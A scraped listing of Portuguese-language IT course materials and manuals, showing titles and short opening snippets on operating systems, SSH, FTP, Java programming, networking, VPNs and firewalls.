Sistema Operacional Unidade 12 Comandos de Rede e Acesso Remoto
Sistema Operacional Unidade 12 Comandos de Rede e Acesso Remoto Curso Técnico em Informática SUMÁRIO INTRODUÇÃO... 3 Protocolo de rede... 3 Protocolo TCP/IP... 3 Máscara de sub-rede... 3 Hostname... 3
LSOF - LiSt Open Files
LSOF - LiSt Open Files Descrição Como o nome indica, LSOF lida com arquivos abertos em um sistema UNIX. Um arquivo aberto pode ser um arquivo comum, um diretório, uma biblioteca, um stream, ou um soquete
FTP FILE F TRANSFER PROTOCOL. Tópicos
FTP FILE F TRANSFER PROTOCOL Tópicos Revisão da aplicação FTP Implementação simples em Java de uma conexão FTP Implementação simples em Java de um comando de transferência de arquivo Descrição dos exercícios
Guia de usuário do portal de acesso SSH
Guia de usuário do portal de acesso SSH 18 de novembro de 2010 O acesso ao MASTER via SSH foi reformulado para garantir a segurança e reduzir os pontos falhos no sistema. Para o usuário comum a única modificação
Listando itens em ComboBox e gravando os dados no Banco de Dados MySQL.
Listando itens em ComboBox e gravando os dados no Banco de Dados MySQL. Prof. Vitor H. Migoto de Gouvêa Colégio IDESA 2012 Edição 7 Listando e Gravando Listando itens em ComboBox e gravando os dados no
Como foi exposto anteriormente, os processos podem ter mais de um fluxo de execução. Cada fluxo de execução é chamado de thread.
5 THREADS Como foi exposto anteriormente, os processos podem ter mais de um fluxo de execução. Cada fluxo de execução é chamado de thread. 5.1 VISÃO GERAL Uma definição mais abrangente para threads é considerá-lo
SSH Secure Shell Secure Shell SSH
SSH SSH Secure Shell O protocolo Secure Shell, é um popular e poderoso, software baseado na abordagem de segurança de rede. Quando os dados são enviados por um computador para a rede, SSH criptografálos
INTRODUÇÃO AO JAVA PARA PROGRAMADORES C
PROGRAMAÇÃO SERVIDOR EM SISTEMAS WEB INTRODUÇÃO AO JAVA PARA PROGRAMADORES C Prof. Dr. Daniel Caetano 2012-1 Objetivos Apresentar a grande semelhança entre Java e C Apresentar a organização diferenciada
Persistência de Dados
Persistência de s Universidade do Estado de Santa Catarina - Udesc Centro de Ciências Tecnológicas - CCT Departamento de Ciência da Computação Tecnologia de Sistemas de Informação Estrutura de s II - DAD
Manual do Desenvolvedor Criptografia de Arquivos do WebTA
Manual do Desenvolvedor Criptografia de Arquivos do WebTA Versão 1.4 Índice 1. Objetivo..3 2. Processo..3 3. API de Criptografia - Biblioteca Java..4 3.1 WEBTACryptoUtil..4 3.1.1 decodekeyfile..4 3.1.2
PIP/CA - Programa Interdisciplinar de Pós-Graduação em Computação Aplicada da UNISINOS ALGORITMOS & ESTRUTURAS DE DADOS
PIP/CA - Programa Interdisciplinar de Pós-Graduação em Computação Aplicada da UNISINOS Disciplina de Nivelamento - 2000/1: ALGORITMOS & ESTRUTURAS DE DADOS Professor Responsável: Prof. Fernando Santos
Brincando de Backup com rsync.
Brincando de Backup com rsync. Autoria de Thiago J. Ruiz (Neo) 25/09/2006 Última Atualização 06/10/2006 A necessidade de se manter um backup de todas as informações/dados dos clientes se faz cada vez mais
Aula 30 - Sockets em Java
Aula 30 - Sockets em Java Sockets Sockets são estruturas que permitem que funções de software se interconectem. O conceito é o mesmo de um soquete (elétrico, telefônico, etc...), que serve para interconectar
Desenvolvimento OO com Java Orientação a objetos básica
Desenvolvimento OO com Java Orientação a objetos básica Vítor E. Silva Souza (vitor.souza@ufes.br) http://www.inf.ufes.br/~vitorsouza Departamento de Informática Centro Tecnológico Universidade Federal
EN3611 Segurança de Redes Prof. João Henrique Kleinschmidt Prática Wireshark Sniffer de rede
EN3611 Segurança de Redes Prof. João Henrique Kleinschmidt Prática Wireshark Sniffer de rede Entregar um relatório contendo introdução, desenvolvimento e conclusão. A seção desenvolvimento pode conter
PROCESSOS COMPONENTES DE UM PROCESSO. A execução de um processo possui vários componentes. PID e PPID
PROCESSOS Um processo é um canal de comunicação entre os programas que estão sendo executados no sistema operacional e o usuário, ou seja um processo é um programa que está sendo executado. No Linux /
Um pouco do Java. Prof. Eduardo
Um pouco do Java Prof. Eduardo Introdução A tecnologia JAVA é composta pela linguagem de programação JAVA e pela plataforma de desenvolvimento JAVA. Os programas são escritos em arquivos-texto com a extensão.java.
Persistência de Classes em Tabelas de Banco de Dados
UTFPR DAELN - Disciplina de Fundamentos de Programação II ( IF62C ). 1 Persistência de Classes em Tabelas de Banco de Dados 1) Introdução! Em algumas situações, pode ser necessário preservar os objetos
Introdução à Programação. Programação Imperativa (Registros X Classes e Métodos Nativos )
Introdução à Programação Programação Imperativa (Registros X Classes e Métodos Nativos ) Tópicos da Aula Hoje aprenderemos como podemos modelar algo parecido com classes em linguagens imperativas Tipos
Computadores Digitais 2. Prof. Rodrigo de Souza Couto
Computadores Digitais 2 Linguagens de Programação DEL-Poli/UFRJ Prof. Miguel Campista Aula de Hoje Cadeias de caracteres (strings) Caracteres Definição e manipulação de strings Vetor de strings Parâmetros
Programação de sistema UNIX
Programação de sistema UNIX Sinais Sinais 1 Definição e tipos Sinais Espécie de interrupções enviadas aos processos, na ocorrência de certos eventos Cada processo pode definir uma função para responder
Lista de Erros Discador Dial-Up
Lista de Erros Discador Dial-Up Erro Código Descrição Ok 1 Usuário autenticado com sucesso e conexão encerrada pelo usuário OK 11 Usuário autenticado com sucesso e discador terminado pelo usuário OK 21
Como atualizar o arquivo de licença do HSC ISS Free
Como atualizar o arquivo de licença do HSC ISS Free Introdução Após instalar a versão gratuita do HSC Internet Secure Suite (HSC ISS Free), o cliente adquiriu uma licença de uso Standard ou Enterprise
Sistemas Operacionais. Laboratório 1 (Ambiente de Aprendizado)
Sistemas Operacionais Laboratório 1 () Roteiro Linux em modo texto Acesso Interpretador de comandos Comandos Básicos Tratamento de Arquivos e Diretórios (Pasta*) Permissões Processos Editor de Texto Criação
Linux Network Servers
OpenVPN Objetivos Entender como funciona uma VPN Configurar uma VPN host to host O que é uma VPN? VPN Virtual Private Network, é uma rede de comunicação particular, geralmente utilizando canais de comunicação
2 Orientação a objetos na prática
2 Orientação a objetos na prática Aula 04 Sumário Capítulo 1 Introdução e conceitos básicos 1.4 Orientação a Objetos 1.4.1 Classe 1.4.2 Objetos 1.4.3 Métodos e atributos 1.4.4 Encapsulamento 1.4.5 Métodos
Aula 2. Objetivos Conceitos; Instalação do Text Pad; Entendendo o código java do AloMundo1 Codificação do AloMundo2,AloMundo3 e AloMundo4.
Aula 2 Objetivos Conceitos; Instalação do Text Pad; Entendendo o código java do AloMundo1 Codificação do AloMundo2,AloMundo3 e AloMundo4. Conceitos O software controla os computadores(freqüentemente conhecido
Procedimentos Operacionais Ambiente Microsoft Windows 2000 Server Máquina Smart02 ADM
Procedimentos Operacionais Ambiente Microsoft Windows 2000 Server Máquina Smart02 ADM Destinada para GSSOF A máquina Smart02 destina-se ao ambiente de produção do projeto SmartCard e garante a comunicação
SISTEMAS OPERACIONAIS
SISTEMAS OPERACIONAIS Tópico 4 Estrutura do Sistema Operacional Prof. Rafael Gross prof.rafaelgross@fatec.sp.gov.br FUNÇÕES DO NUCLEO As principais funções do núcleo encontradas na maioria dos sistemas
3 SERVIÇOS IP. 3.1 Serviços IP e alguns aspectos de segurança
3 SERVIÇOS IP 3.1 Serviços IP e alguns aspectos de segurança Os serviços IP's são suscetíveis a uma variedade de possíveis ataques, desde ataques passivos (como espionagem) até ataques ativos (como a impossibilidade
ENDEREÇOS DE REDE PRIVADOS. 10.0.0.0 até 10.255.255.255 172.16.0.0 até 172.31.255.255 192.168.0.0 até 192.168.255.255. Kernel
ENDEREÇOS DE REDE PRIVADOS Foram reservados intervalos de endereços IP para serem utilizados exclusivamente em redes privadas, como é o caso das redes locais e Intranets. Esses endereços não devem ser
SOFTWARE LIVRE. Distribuições Live CD. Kernel. Distribuição Linux
SOFTWARE LIVRE A liberdade de executar o programa, para qualquer propósito. A liberdade de estudar como o programa funciona, e adaptá-lo para as suas necessidades. Acesso ao código-fonte é um pré-requisito
Introdução. Man in the middle. Faculdade de Tecnologias Senac Goiás. Professora: Marissol Relatório MITM
Faculdade de Tecnologias Senac Goiás Projeto Integrador SI-2014/02 Tecnologia de Redes Professora: Marissol Paulo Henrique Rodrigo Brunet Cassio Alves Relatório MITM Introdução Apresentaremos um relatório
MANUAL DE INSTALAÇÃO E CONFIGURAÇÃO. Motor Periférico Versão 8.0
MANUAL DE INSTALAÇÃO E CONFIGURAÇÃO Motor Periférico Versão 8.0 1. Apresentação... 3 2. Instalação do Java... 3 2.1 Download e Instalação... 3 2.2 Verificar Instalação... 3 3. Download do Motor Periférico...
Passo a passo para instalação de um Servidor SSH
Instalação de um servidor SSH no Windows Introdução Manual desenvolvido pela GEICI05 com objetivo de orientar as Construtoras a configurarem um servidor SSH para recepcionarem os arquivos DCD-online. O
MC514 Sistemas Operacionais: Teoria e Prática 1s2010. Processos e sinais
MC514 Sistemas Operacionais: Teoria e Prática 1s2010 Processos e sinais Processos e threads Process 1 Process 1 Process 1 Process User space Thread Thread Kernel space Kernel (a) Kernel (b) fork() Cria
Programação Paralela e Distribuída. Prof. Cidcley T. de Souza
Programação Paralela e Distribuída Prof. Cidcley T. de Souza Conteúdo Parte I Introdução aos Sockets Tipos de Sockets Classes Java: InetAddress, Datagram Sockets, Stream Sockets, Output e Input Classes
OProtocolo RPC é um dos protocolos de aplicação mais utilizados, pois permite
Laboratório de Redes. Remote Procedure Call - RPC Pedroso 9 de março de 2006 1 Introdução 2 Conceitos básicos OProtocolo RPC é um dos protocolos de aplicação mais utilizados, pois permite que sejam criadas
(Aula 17) Threads em Java
(Aula 17) Threads em Java Difícil As Threads thread threads de emjava classificar sãogerenciadaspelajvm. podemser com user criadasdas thread ou kernel Profa. Patrícia A seguintesmaneiras: Fazendo extend
ROTEIRO PARA INSTALAÇÃO DO BITVISE, CONFIGURAÇÃO DE CHAVES SSH, DEFINIÇÃO DAS PORTAS PARA OS TÚNEIS SSH E CONFIGURAÇÃO DO THUNDERBIRD
ROTEIRO PARA INSTALAÇÃO DO BITVISE, CONFIGURAÇÃO DE CHAVES SSH, DEFINIÇÃO DAS PORTAS PARA OS TÚNEIS SSH E CONFIGURAÇÃO DO THUNDERBIRD PARTE 1 INSTALAÇÃO DO BITVISE E CRIAÇÃO E INSTALAÇÃO DA CHAVE SSH PARA
GUIA DE PROCEDIMENTOS PARA ACESSO VIA FTP
INFORMÁTICA mai/11 Pág. I.1 ACESSO VIA FTP GUIA DE PROCEDIMENTOS PARA ACESSO VIA FTP INFORMÁTICA mai/11 Pág. I.2 ÍNDICE I INTRODUÇÃO... I.3 II III ACESSO PELO WINDOWS EXPLORER... II.1 ACESSO PELO NAVEGADOR
INF 1005 Programação I
INF 1005 Programação I Aula 12 Cadeia de Caracteres (Strings) Edirlei Soares de Lima Caracteres Até o momento nós somente utilizamos variáveis que armazenam números (int, float ou
UNIVERSIDADE FEDERAL DE PELOTAS
Usando um firewall para ajudar a proteger o computador A conexão à Internet pode representar um perigo para o usuário de computador desatento. Um firewall ajuda a proteger o computador impedindo que usuários
O projeto Metasploit é um framework que foi criado em 2003 por HD Moore e é uma plataforma que permite a verificação do estado da segurança dos
O projeto Metasploit é um framework que foi criado em 2003 por HD Moore e é uma plataforma que permite a verificação do estado da segurança dos computadores existentes numa determinada rede, permitindo
O que você precisa saber sobre FTP na certificação LPI nível 1
O que você precisa saber sobre FTP na certificação LPI nível 1 FTP significa File Transfer Protocol (Protocolo de Transferência de Arquivos). Permite a transferência de arquivos do computador remoto para
RESULTADO DO DESAFIO Caio Vargas Rocha Gilson de Souza Camelo Carlos Marx Novais Assunção Pedro Henrique Carvalho Sampaio
RESULTADO DO DESAFIO O desafio de segurança do EnSI premiou os participantes pela ordem de recebimento das respostas. Ao todo foram recebidas quatro respostas corretas, sendo o primeiro colocado Caio Vargas
Guia para atualização de Firmware dos consoles CL5, CL3 e CL1. (Firmware 1.51)
Guia para atualização de Firmware dos consoles CL5, CL3 e CL1 (Firmware 1.51) Yamaha Musical do Brasil www.yamaha.com.br PRECAUÇÕES 1. O usuário assume total responsabilidade pela atualização. 2. Atualize
Sistemas Operacionais
Sistemas Operacionais Prof. Jó Ueyama Apresentação baseada nos slides da Profa. Kalinka Castelo Branco, do Prof. Dr. Antônio Carlos Sementille e da Profa. Dra. Luciana A. F. Martimiano e nas transparências
PROGRAMAÇÃO ESTRUTURADA. CC 2º Período
PROGRAMAÇÃO ESTRUTURADA CC 2º Período PROGRAMAÇÃO ESTRUTURADA Aula 07: Funções O comando return Protótipo de funções O tipo void Arquivos-cabeçalho Escopo de variáveis Passagem de parâmetros por valor
Acesso Re sso R moto
Acesso Remoto Introdução Em um ambiente de rede, é sempre importante salientar o uso de ferramentas que possam facilitar procedimentos de manutenção, gerenciamento e execução de procedimentos em uma determinada
HOW TO. Instalação do Firewall 6.1 Software
Introdução HOW TO Página: 1 de 14 Para fazer a migração/instalação do 6.1 Software, é necessária a instalação do Sistema Operacional Linux Fedora Core 8. Explicaremos passo a passo como formatar a máquina,
CERTIFICADO DIGITAL ARMAZENADO NO COMPUTADOR (A1) GUIA DE EXPORTAÇÃO
Certificação Digital CERTIFICADO DIGITAL ARMAZENADO NO COMPUTADOR (A1) GUIA DE EXPORTAÇÃO Guia CD-13 Público EXPORTAÇÃO DO CERTIFICADO DIGITAL 1. Pré Requisitos para exportação do certificado digital A1.
Manual de Administração
Manual de Administração Produto: n-mf Lexmark Versão: 4.0.3 Versão do Doc.: 1.0 Autor: Bruno Nercolini Ceron Data: 22/11/2010 Aplica-se à: Clientes e Revendas Alterado por: Release Note: Detalhamento de
Docas do Pará - Guia de Instalação
Docas do Pará - Guia de Instalação Procedimento para instalar em um novo porto Primeiro faça a instalação no computador servidor do porto (v. abaixo), depois instale em cada máquina de cadastro/acompanhamento
Configurando um Servidor de Arquivos SAMBA. Prof. Armando Martins de Souza E-mail: armandomartins.souza@gmail.com
Configurando um Servidor de Arquivos SAMBA. Prof. Armando Martins de Souza E-mail: armandomartins.souza@gmail.com Porque usar o Servidor Samba Server? Compartilhamento de arquivos; Servidor de arquivos;
Introdução a POO. Introdução a Linguagem C++ e POO
Introdução a POO Marcio Santi Linguagem C++ Introdução a Linguagem C++ e POO Programação Orientada a Objetos (POO) e C++ Recursos C++ não relacionados às classes Incompatibilidades entre C e C++ Classes
Relacionamentos entre objetos. Relacionamentos entre objetos. Relacionamentos entre objetos. Relacionamentos entre objetos
Programação Orientada a Objetos Relacionamentos entre objetos Associação, composição e agregação Construtores e sobrecarga Variáveis de classe e de instância Reinaldo Gomes reinaldo@cefet-al.br Objetos
Manual de operação. BS Ponto Versão 5.1
Manual de operação BS Ponto Versão 5.1 conteúdo 1. Instalação do sistema Instalando o BS Ponto Configurando o BS Ponto 2. Cadastrando usuários Cadastro do usuário Master Alterando a senha Master Cadastro
Na Figura a seguir apresento um exemplo de uma "mini-tabela" de roteamento:
Tutorial de TCP/IP - Parte 6 - Tabelas de Roteamento Por Júlio Cesar Fabris Battisti Introdução Esta é a sexta parte do Tutorial de TCP/IP. Na Parte 1 tratei dos aspectos básicos do protocolo TCP/IP. Na
Java - Introdução. Professor: Vilson Heck Junior. vilson.junior@ifsc.edu.br
Java - Introdução Professor: Vilson Heck Junior vilson.junior@ifsc.edu.br Agenda O que é Java? Sun / Oracle. IDE - NetBeans. Linguagem Java; Maquina Virtual; Atividade Prática. Identificando Elementos
INF1013 MODELAGEM DE SOFTWARE
INF1013 MODELAGEM DE SOFTWARE Departamento de Informática Ivan Mathias Filho ivan@inf.puc-rio.br Programa Capítulo 18 Sockets OLadoServidor O Lado Cliente Múltiplos Clientes 1 Programa Capítulo 18 Sockets
Protocolos Telnet e SSH. Professor Leonardo Larback
Protocolos Telnet e SSH Professor Leonardo Larback Protocolo Telnet O modelo de referência TCP/IP inclui um protocolo simples de terminal remoto: Telnet. O telnet é tanto um programa quanto um protocolo,
Memory Leak em Java?
1 Memory Leak em Java? Saiba como memory leaks se manifestam em Java e como evitá-los Sobre o Autor Carlos Eduardo G. Tosin (carlos@tosin.com.br) é formado em Ciência da Computação pela PUC-PR, pós-graduado
Universidade Federal do Rio Grande do Norte
Universidade Federal do Rio Grande do Norte Redes de Computadores - Camada de Aplicação Curso de Engenharia de Software Prof. Marcos Cesar Madruga/Thiago P. da Silva Material basedado em [Kurose&Ross 2009]
Mecanismos de QoS em Linux Hierarchical Token Bucket (HTB)
Mecanismos de QoS em Linux Hierarchical Token Bucket (HTB) Este roteiro descreve um cenário prático onde o algoritmo Hierarchical Token Bucket (HTB) é utilizado para criar uma política de QoS flexível,
Programação de Computadores - I. Profª Beatriz Profº Israel
Programação de Computadores - I Profª Beatriz Profº Israel Ambiente de Desenvolvimento Orientação a Objetos É uma técnica de desenvolvimento de softwares que consiste em representar os elementos do mundo
ARQUIVOS DE CONFIGURAÇAO ZIM 8.50
ZIM TECHNOLOGIES DO BRASIL ARQUIVOS DE CONFIGURAÇAO ZIM 8.50 Próx Antes de Iniciar Este documento detalha os arquivos de configuração da versão Zim 8.50 para Unix/WIndows. Você também deve consultar as
Resumo da Matéria de Linguagem de Programação. Linguagem C
Resumo da Matéria de Linguagem de Programação Linguagem C Vitor H. Migoto de Gouvêa 2011 Sumário Como instalar um programa para executar o C...3 Sintaxe inicial da Linguagem de Programação C...4 Variáveis
ConneXium TCSESM, TCSESM-E Managed Switch
ConneXium TCSESM, TCSESM-E Managed Switch Exemplo de configuração de VLAN s com portas compartilhadas e bloqueio das portas por endereçamento IP utilizando as ferramentas Ethernet Switch Configurator e
Laboratório - Exploração do FTP
Objetivos Parte 1: Usar o FTP em um prompt de comando Parte 2: Baixar um arquivo FTP usando WS_FTP LE Parte 3: Usar o FTP em um navegador Histórico/cenário O File Transfer Protocol (FTP) faz parte do conjunto
INTRODUÇÃO: 1 - Conectando na sua conta
INTRODUÇÃO: Com certeza a reação da maioria dos que lerem esse mini manual e utilizarem o servidor vão pensar: "mas porque eu tenho que usar um console se em casa eu tenho uma interface gráfica bonito
Orientação a Objetos
1. Domínio e Aplicação Orientação a Objetos Um domínio é composto pelas entidades, informações e processos relacionados a um determinado contexto. Uma aplicação pode ser desenvolvida para automatizar ou
PROCESSOS. Prof. Maicon A. Sartin mapsartin@gmail.com
PROCESSOS Prof. Maicon A. Sartin mapsartin@gmail.com Cenários em Sistemas Multitarefas Um usuário pode executar diversas atividades simultâneas Música Editoração de texto Navegar na Internet Servidor pode
Para testar se as variáveis foram carregadas, utilize o comando #export
Configurando Proxy Debian Abra o arquivo /etc/profile: #nano /etc/profile No final do arquivo, adicione as seguintes linhas: export http_proxy=http://172.16.3.1:3128 export https_proxy=http://172.16.3.1:3128
Introdução a Java. Hélder Nunes
Introdução a Java Hélder Nunes 2 Exercício de Fixação Os 4 elementos básicos da OO são os objetos, as classes, os atributos e os métodos. A orientação a objetos consiste em considerar os sistemas computacionais
Entendendo como funciona o NAT
Entendendo como funciona o NAT Vamos inicialmente entender exatamente qual a função do NAT e em que situações ele é indicado. O NAT surgiu como uma alternativa real para o problema de falta de endereços
FileZilla Server. O FileZilla Server é um ótimo servidor FTP, conta com diversas funções e fácil instalação e configuração.
FileZilla Server Já apresentei um tutorial sobre o FileZilla, um cliente FTP com versões para vários sistemas operacionais, agora vou falar sobre o FileZilla Server, um programa que transforma seu computador
Arquitetura de Sistemas Operacionais
Arquitetura de Sistemas Operacionais Francis Berenger Machado / Luiz Paulo Maia Processo Profº Antonio Carlos dos S. Souza Estrutura do Processo Contexto de Software Contexto de Hardware Programa Espaço
DoS: Negação de Serviço e formas de defesa
DoS: Negação de Serviço e formas de defesa TchêLinux Ulbra Gravataí http://tchelinux.org/gravatai Elgio Schlemer Ulbra Gravatai http://gravatai.ulbra.tche.br/~elgio 31 de Maio de 2008 Introdução Problemas
JSP - ORIENTADO A OBJETOS
JSP Orientação a Objetos... 2 CLASSE:... 2 MÉTODOS:... 2 Método de Retorno... 2 Método de Execução... 2 Tipos de Dados... 3 Boolean... 3 Float... 3 Integer... 4 String... 4 Array... 4 Primeira:... 4 Segunda:...
Programa ConsoleRPN. PUC-Rio CIV 2802 - Sistemas Gráficos para Engenharia Luiz Fernando Martha & André Maués Brabo Pereira
Programa ConsoleRPN Programa criado com o Visual Studio Community 2013 para efetuar operações algébricas entre números, uma calculadora funcionando com console usando RPN PUC-Rio CIV 2802 - Sistemas Gráficos
Estrutura da linguagem de programação C Prof. Tiago Eugenio de Melo tiago@comunidadesol.org
Estrutura da linguagem de programação C Prof. Tiago Eugenio de Melo tiago@comunidadesol.org Breve Histórico A linguagem de programação C foi criada na década de 70, por Dennis Ritchie, que a implementou,
Programação científica C++
Programação científica C++ NIELSEN CASTELO DAMASCENO Slide 1 Linguagens de Programação Uma linguagem de programação é um método padronizado para expressar instruções para um computador. É um conjunto
Brincando de Backup com rsync.
Brincando de Backup com rsync. Autoria de Thiago J. Ruiz (Neo) 25/09/2006 Última Atualização 06/10/2006 A necessidade de se manter um backup de todas as informaã ões/dados dos clientes se faz cada vez
Laboratório de Redes de Computadores e Sistemas Operacionais
Laboratório de Redes de Computadores e Sistemas Operacionais Poderes da Conta Root Fabricio Breve Introdução Todo processo e arquivo em um sistema Linux pertence a uma conta de usuário em particular Os
Satélite. Manual de instalação e configuração. CENPECT Informática www.cenpect.com.br cenpect@cenpect.com.br
Satélite Manual de instalação e configuração CENPECT Informática www.cenpect.com.br cenpect@cenpect.com.br Índice Índice 1.Informações gerais 1.1.Sobre este manual 1.2.Visão geral do sistema 1.3.História